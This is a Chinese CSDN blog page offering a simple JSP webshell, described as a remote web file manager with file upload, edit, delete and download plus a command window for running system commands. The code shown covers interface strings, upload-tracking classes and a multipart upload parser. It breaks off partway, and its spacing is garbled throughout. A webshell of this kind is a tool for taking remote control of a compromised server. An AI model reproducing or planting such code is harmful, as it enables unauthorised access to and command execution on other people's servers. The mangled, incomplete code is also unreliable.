java 简单的webshell_一个简单的webshell

这是一个基于jsp的Web文件管理器,允许远程管理服务器文件系统,具备新建、编辑、删除、下载和上传文件及目录等功能。还提供命令行窗口,类似于Windows的cmd,用户可以通过它执行一些系统命令。目前处于测试阶段,作者欢迎反馈和建议以优化程序。
摘要由CSDN通过智能技术生成

Thanks for your support "};String[] strFileManage={"文 件 管 理","File Management"};String[] strCommand={"CMD 命 令","Command Window"};String[] strSysProperty={"系 统 属 性","System Property"};String[] strHelp={"帮 助","Help"};String[] strParentFolder={"上级目录","Parent Folder"};String[] strCurrentFolder={"当前目录","Current Folder"};String[] strDrivers={"驱动器","Drivers"};String[] strFileName={"文件名称","File Name"};String[] strFileSize={"文件大小","File Size"};String[] strLastModified={"最后修改","Last Modified"};String[] strFileOperation={"文件操作","Operations"};String[] strFileEdit={"修改","Edit"};String[] strFileDown={"下载","Download"};String[] strFileCopy={"复制","Move"};String[] strFileDel={"删除","Delete"};String[] strExecute={"执行","Execute"};String[] strBack={"返回","Back"};String[] strFileSave={"保存","Save"};publicclass FileHandler {private StringstrAction= "";private StringstrFile= "";

void FileHandler(Stringaction,Stringf) {}

}publicstatic class UploadMonitor {

static Hashtable uploadTable= newHashtable();

static voidset(StringfName, UplInfo info) {

uploadTable.put(fName, info);

}

static void remove(StringfName) {

uploadTable.remove(fName);

}

static UplInfo getInfo(StringfName) {

UplInfo info=(UplInfo) uploadTable.get(fName);

return info;

}

}publicclass UplInfo {public longtotalSize;public longcurrSize;public longstarttime;public booleanaborted;publicUplInfo() {

totalSize=0l;

currSize=0l;

starttime=System.currentTimeMillis();

aborted= false;

}publicUplInfo(intsize) {

totalSize=size;

currSize= 0;

starttime=System.currentTimeMillis();

aborted= false;

}public StringgetUprate() {long time =System.currentTimeMillis()-starttime;if(time!= 0) {longuprate=currSize* 1000 / time;

return convertFileSize(uprate)+ "/s";

}elsereturn"n/a";

}public intgetPercent() {if(totalSize== 0)

return0;elsereturn (int) (currSize* 100 /totalSize);

}public StringgetTimeElapsed() {long time =(System.currentTimeMillis()-starttime)/1000l;if(time -60l>= 0) {if(time%60 >= 10)

returntime / 60 + ":" +(time%60)+ "m";elsereturntime / 60 + ":0" +(time%60)+ "m";

}elsereturntime < 10?"0" + time + "s":time + "s";

}public StringgetTimeEstimated() {if(currSize== 0)

return"n/a";long time =System.currentTimeMillis()-starttime;time =totalSize* time /currSize;time /=1000l;if(time -60l>= 0) {if(time%60 >= 10)

returntime / 60 + ":" +(time%60)+ "m";elsereturntime / 60 + ":0" +(time%60)+ "m";

}elsereturntime < 10?"0" + time + "s":time + "s";

}

}publicclass FileInfo {public Stringname= null, clientFileName= null,fileContentType= null;private byte[] fileContents= null;publicFile file= null;publicStringBuffer sb= newStringBuffer(100);publicvoid setFileContents(byte[] aByteArray) {

fileContents= new byte[aByteArray.length];

System.arraycopy(aByteArray,0, fileContents,0, aByteArray.length);

}

}//A Classwithmethods usedtoprocess a ServletInputStreampublicclass HttpMultiPartParser {privatefinalStringlineSeparator=System.getProperty("line.separator","\n");privatefinalintONE_MB= 1024 * 1;publicHashtable processData(ServletInputStreamis,Stringboundary,StringsaveInDir,intclength) throws IllegalArgumentException,IOException {if(is == null)

thrownewIllegalArgumentException("InputStream");if(boundary== null|| boundary.trim().length()< 1)

thrownewIllegalArgumentException("\"" + boundary+"\"is an illegal boundary indicator");

boundary= "--" +boundary;

StringTokenizer stLine= null, stFields= null;

FileInfo fileInfo= null;

Hashtable dataTable= newHashtable(5);Stringline= null, field= null, paramName= null;booleansaveFiles=(saveInDir != null &&saveInDir.trim().length()> 0);booleanisFile= false;if(saveFiles) {//Create the required directory (including parent dirs)

File f= newFile(saveInDir);

f.mkdirs();

}

line=getLine(is);if(line== null|| !line.startsWith(boundary))

thrownewIOException("Boundary not found; boundary ="

+boundary+ ", line =" +line);while(line != null) {if(line== null|| !line.startsWith(boundary))

return dataTable;

line=getLine(is);if(line== null)

return dataTable;

stLine= newStringTokenizer(line,";\r\n");if(stLine.countTokens()< 2)

thrownewIllegalArgumentException("Bad data in second line");

line=stLine.nextToken().toLowerCase();if(line.indexOf("form-data")< 0)

thrownewIllegalArgumentException("Bad data in second line");

stFields= newStringTokenizer(stLine.nextToken(),"=\"");

if(stFields.countTokens()< 2)

thrownewIllegalArgumentException("Bad data in second line");

fileInfo= newFileInfo();

stFields.nextToken();

paramName=stFields.nextToken();

isFile= false;if(stLine.hasMoreTokens()) {

field

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值